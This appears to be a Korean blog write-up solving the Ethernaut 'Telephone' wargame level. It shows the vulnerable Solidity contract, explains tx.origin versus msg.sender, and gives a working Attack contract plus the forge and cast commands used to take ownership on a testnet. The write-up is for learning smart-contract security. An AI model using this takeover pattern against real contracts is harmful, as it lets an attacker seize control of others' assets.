[Ethernaut] (4 Telephone)블록체인2025. 1. 4. 06:51
Table of Contents

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
컨트랙트의 소유권을 탈취하면 풀리는 문제다.
해당 문제의 경우 tx.origin과 msg.sender의 차이를 이해하면 풀 수 있다.
- tx.origin: 트랜잭션을 최초로 시작한 계정(EOA, 외부 소유 계정)을 가리킨다.
- msg.sender: 직접적으로 함수를 호출한 주소(EOA 또는 컨트랙트)를 가리킨다.
1. 사용자가 Attack 컨트랙트를 배포하고 사용자가 attack()함수를 호출
2. Attack 컨트랙트가 Telephone의 changeOwner()를 호출할 때
tx.origin(사용자 주소) ≠ msg.sender(Attack 컨트랙트 주소)가 되서 owner 변경됨
attack.sol
pragma solidity ^0.8.0;
import {Telephone} from "./Telephone.sol";
contract Attack {
address public telephoneAddress = 0xF925BFa5dE0b3a5613D0141d1e737c6bDff1E1f8;
function attack() public {
Telephone telephone = Telephone(telephoneAddress);
telephone.changeOwner(msg.sender);
}
}
Attack 컨트랙트를 배포하고
forge create --rpc-url $RPC_URL --account Burnnnnny src/attack.sol:Attack
배포된 Attack 컨트랙트의 attack() 함수를 호출한다.
cast send --rpc-url $RPC_URL --account Burnnnnny 0x284FA5D31B7A86a91f6bC80F0c4bDdbdA80bb496 "attack()"
교훈
tx.origin은 쓰지 말자
'블록체인' 카테고리의 다른 글
| [Ethernaut] (10 Re-entrancy) (0) | 2025.01.30 |
|---|---|
| [Ethernaut] (9 king) (0) | 2025.01.17 |
| Testnet ETH 받는 방법 (0) | 2025.01.02 |
| [Ethernaut] (7 Force) (0) | 2025.01.02 |
| [Ethernaut] (5 Token) (0) | 2024.12.25 |
@Burnnnnny :: Burnnnnny Blog
내가 보고 내가 참고하려고 만든 블로그
틀린 내용이 있다면 댓글로 알려주시면 감사하겠습니다.